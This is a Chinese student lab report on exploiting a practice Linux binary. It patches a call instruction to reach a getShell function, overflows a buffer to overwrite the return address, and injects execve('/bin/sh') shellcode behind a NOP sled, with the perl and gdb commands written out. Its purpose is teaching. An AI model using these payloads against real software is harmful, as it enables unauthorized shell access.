2018-2019-2 20165234 《网络对抗技术》 Exp1 PC平台逆向破解
实验一 PC平台逆向破解
实验目的
本次实践的对象是一个名为pwn1的linux可执行文件。
该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。
该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。
实验内容
- 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
- 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
- 注入一个自己制作的shellcode并运行这段shellcode。
相关内容机器码
- NOP:NOP指令即“空指令”。执行到NOP指令时,CPU什么也不做,仅仅当做一个指令执行过去并继续执行NOP后面的一条指令。(机器码:90)
- JNE:条件转移指令,如果不相等则跳转。(机器码:75)
- JE:条件转移指令,如果相等则跳转。(机器码:74)
- JMP:无条件转移指令。段内直接短转Jmp short(机器码:EB)段内直接近转移Jmp near(机器码:E9)段内间接转移Jmp word(机器码:FF)段间直接(远)转移Jmp far(机器码:EA)
- CMP:比较指令,功能相当于减法指令,只是对操作数之间运算比较,不保存结果。cmp指令执行后,将对标志寄存器产生影响。其他相关指令通过识别这些被影响的标志寄存器位来得知比较结果。
实验步骤
(一)直接修改程序机器指令,改变程序执行流程
- 创建文件夹20165234_exp1 ,将pwn1放入其中
使用 objdump -d pwn1 将pwn1反汇编,得到以下代码


其中 80484b5: e8 d7 ff ff ff call <foo> 这条汇编指令,e8表示“ call ”,在main函数中调用位于地址 处的foo函数。
如果想函数调用getShell,只需要修改 d7 ff ff ff 即可。
根据foo函数与getShell地址的偏移量,用Windows计算器通过 47d-4ba 就能得到补码,可计算出应为 c3 ff ff ff 。
修改可执行文件的具体步骤
- 输入命令 cp pwn1 pwn2 对pwn1中的内容进行拷贝至pwn2
- 用 vi 打开pwn2,进入命令模式,输入
: %!xxd将显示模式切换为十六进制 - 在底行模式输入 /d7 定位需要修改的地方,并确认
- 进入插入模式,修改 d7 为 c3
- 输入
: %!xxd -r将十六进制转换为原格式 - 使用 :wq 保存并退出

在此我选择尝试另一种方式,即使用图形化的16进制编程器:
输入 apt-get install wxhexeditor , wxHexEditor 两个命令即可安装

通过此工具也查找到了要修改的内容,修改D7为C3,然后保存并退出

输入 objdump -d pwn2 | more 反汇编pwn2文件中的main函数,查看是否正确调用get shell函数

运行修改后的代码,可以得到shell提示符#。
修改成功,调用了getshell~

(二)通过构造输入参数,造成BOF攻击
1.确认输入字符串哪几个字符会覆盖到返回地址
- 通过gdb命令,调试文件pwn1。
- 输入 ,出现Segmentation Fault,说明缓冲区溢出。

通过 info r 命令查看当前寄存器状态,发现EIP寄存器被0x35353535覆盖,即当前返回地址为5555(0x35是ASCII码,代表十进制中的5)
说明刚输入的40个字符中,含有5的字符串溢出到了EIP中。
- 输入字符串 ,结果发现1234这四个数最终会覆盖到堆栈上的返回地址

只要把这四个字符替换为 getShell 的内存地址,输给pwn1,pwn1就会运行getShell。
2.确认用什么值来覆盖返回地址
由反汇编结果可知getShell的内存地址为:0x080484
确认字节序后,应该输入11111111222222223333333344444444\x7d\x84\x04\x08
3.构造输入字符串
- 使用 perl 命令生成包括这样字符串的一个文件。其中 \x0a 表示回车。
perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input
- 使用16进制查看指令xxd, 通过 xxd input 查看input文件的内容。
将input输入通过管道符“|”作为输入,指令为 (cat input ) | ./pwn1 ,运行后就进入了getShell函数~

(三)注入Shellcode并执行
shellcode
shellcode就是一段机器指令(code),通常这段机器指令的目的是为获取一个交互式的shell(像linux的shell或类似windows下的cmd.exe),所以这段机器指令被称为shellcode。在实际的应用中,凡是用来注入的机器指令段都通称为shellcode,像添加一个用户、运行一条指令。
1.准备工作
首先使用 apt-get install execstack 命令安装 execstack 。
然后修改一些设置。

2.构造要注入的payload
Linux下有两种基本构造攻击buf的方法:retaddr+nop+shellcode、nop+shellcode+retaddr。
缓冲区小就用前一种方法,缓冲区大就用后一种方法。
这里我们选择前一种方法,即retaddr+nops+shellcode结构来攻击buf,在shellcode前填充nop的机器码90,最前面加上加上返回地址(先定义为\x4\x3\x2\x1)
- 执行以下指令:
perl -e 'print
"\x4\x3\x2\x1\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00"'
> input_shellcode
- 为了确定\x4\x3\x2\x1该填什么,首先打开一个终端,使用指令(cat input_shellcode;cat) | ./pwn1注入这段攻击buf。
- 再打开另外一个终端,使用指令 ps -ef | grep pwn1 查看pwn1这个进程,发现进程号为16262。

- 接下来用gdb来调试pwn1这个进程。输入命令disassemble foo ,通过设置断点来查看注入buf的内存地址。
- 使用 break *0x080484ae 设置断点,并输入 c 继续运行。在pwn1进程正在运行的终端敲回车,使其继续执行。再返回调试终端,使用 info r esp 查找地址。


x/16x 0xbffffd37c 查看其存放内容,看到了0x9080cd0b,就是返回地址的位置。

实验收获
通过本次实验,理解了缓冲区溢出攻击的具体原理,实际的操作中从程序内部函数的跳转到最后的shellcode注入一系列流程。由于我的基础较薄弱,对于汇编语言和Linux操作的知识并不是很熟悉,而此次实验让我熟悉了相关的知识,并为以后的实验打下了基础。通过查看老师的教程,上网查阅资料,参考同学的博客等方式,我还是较为顺利地完成了实验,并且充分了解了相关的原理。总体来说,我的收获很大~
什么是漏洞?
漏洞就是某种安全隐患,比如说操作系统、硬件、软件等等,其中多少会存在不同的安全隐患,而且可以被他人利用。
漏洞的危害小则影响个人,可能会造成个人隐私信息的泄露,乃至引起经济损失;
大则可以引起整个国家的严重损失,可能泄露国家秘密信息,危害国家安全。
2018-2019-2 20165234 《网络对抗技术》 Exp1 PC平台逆向破解的更多相关文章
- 20155324《网络对抗》Exp1 PC平台逆向破解(5)M
20155324<网络对抗>Exp1 PC平台逆向破解(5)M 实验目标 本次实践的对象是一个名为~pwn1~的~linux~可执行文件. 该程序正常执行流程是:~main~调用~foo~ ...
- 20155232《网络对抗》 Exp1 PC平台逆向破解(5)M
20155232<网络对抗> Exp1 PC平台逆向破解(5)M 实验内容 (1).掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码(1分) (2)掌握反汇编与十六进制编程 ...
- 20155227《网络对抗》Exp1 PC平台逆向破解(5)M
20155227<网络对抗>Exp1 PC平台逆向破解(5)M 实验目标 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:main调用foo函数,foo函数 ...
- 2018-2019-2 20165236郭金涛《网络对抗》Exp1 PC平台逆向破解
2018-2019-2 20165236郭金涛<网络对抗>Exp1 PC平台逆向破解 一.实验内容 1.掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码(0.5分) 2.掌 ...
- 20155208徐子涵 《网络对抗》Exp1 PC平台逆向破解
20155208徐子涵 <网络对抗>Exp1 PC平台逆向破解 实践目标 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:main调用foo函数,foo函数 ...
- 20145325张梓靖 《网络对抗技术》 PC平台逆向破解
20145325张梓靖 <网络对抗技术> PC平台逆向破解 学习任务 shellcode注入:shellcode实际是一段代码,但却作为数据发送给受攻击服务器,将代码存储到对方的堆栈中,并 ...
- # 《网络对抗》Exp1 PC平台逆向破解20155337祁家伟
<网络对抗>Exp1 PC平台逆向破解20155337祁家伟 实践目标 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:main调用foo函数,foo函数会 ...
- 20145206邹京儒《网络对抗技术》 PC平台逆向破解
20145206邹京儒<网络对抗技术> PC平台逆向破解 注入shellcode并执行 一.准备一段shellcode 二.设置环境 具体在终端中输入如下: apt-cache searc ...
- 20145331魏澍琛 《网络对抗技术》 PC平台逆向破解
20145331魏澍琛 <网络对抗技术> PC平台逆向破解 学习任务 1.shellcode注入:shellcode实际是一段代码,但却作为数据发送给受攻击服务器,将代码存储到对方的堆栈中 ...
- 20145336张子扬 《网络对抗技术》 PC平台逆向破解
#20145336张子扬 <网络对抗技术> PC平台逆向破解 ##Shellcode注入 **基础知识** Shellcode实际是一段代码,但却作为数据发送给受攻击服务器,将代码存储到对 ...
随机推荐
- OSI模型网络七层协议
物理层 物理层是OSI的第一层,它虽然处于最底层,却是整个开放系统的基础.物理层为设备之间的数据通信提供传输媒体及互连设备,为数据传输提供可靠的环境. 1.1媒体和互连设备 物理层的媒体包括架空明线. ...
- Educational Codeforces Round 61 (Rated for Div. 2)-C. Painting the Fence 前缀和优化
题意就是给出多个区间,要求去掉两个区间,使得剩下的区间覆盖范围最大. 当然比赛的时候还是没能做出来,不得不佩服大佬的各种姿势. 当时我想的是用线段树维护区间和,然后用单点判0,维护区间间断个数.然后打 ...
- opencv : imread()的应用
概述: imread()是opencv中用于读取图片的一个工具.怎么读取图片看似一个很简单的工作,但实际上也有一些细节需要我们注意,以避免在后续的操作中出现bug. 函数原型: 函数原型: Mat i ...
- 【zabbix教程系列】七、自动注册(Windows)
零.页面操作,设置自动注册Windows 配置--->动作--->事件源选为自动注册---->创建动作 填写名称,配置触发条件 主机元数据 值为 Windows 操作 一.Win ...
- python_正则表达式随笔
webpage_regex = re.search(r'span_ed7[\s\S]*', dd) [\s\S]* 匹配多行,转义字符 webpage_regex = re.compile('< ...
- mapper.xml 的配置
<?xml version="1.0" encoding="UTF-8" ?> <!DOCTYPE mapper PUBLIC "- ...
- 用Python将一个列表分割成小列表
用Python将一个列表分割成小列表 2018年01月15日 11:09:25 幸福丶如此 阅读数:16842 版权声明:本文为博主原创文章,未经博主允许不得转载. https://blog.cs ...
- Java面试题之高级篇研读
1.List和Set比较,各自的子类比较 对比一:ArrayList与LinkedList比较 1.ArrayList是实现了基于动态数组的数据结构,因为地址连续,一旦数据存储好了,查询操作效率会比较 ...
- docker容器的安装与使用
docker 容器概念 1.什么是容器 容器就是在隔离环境运行的一个进程,如果进程停止,容器就会销毁.隔离的环境拥有自己的系统文件,IP地址,主机名等. kvm虚拟机,linux,系统文件 程序: 代 ...
- http验证
read -p "输入要添加的用户名: " USERNAME read -p "输入密码: " PASSWD printf "$USERNAME:$( ...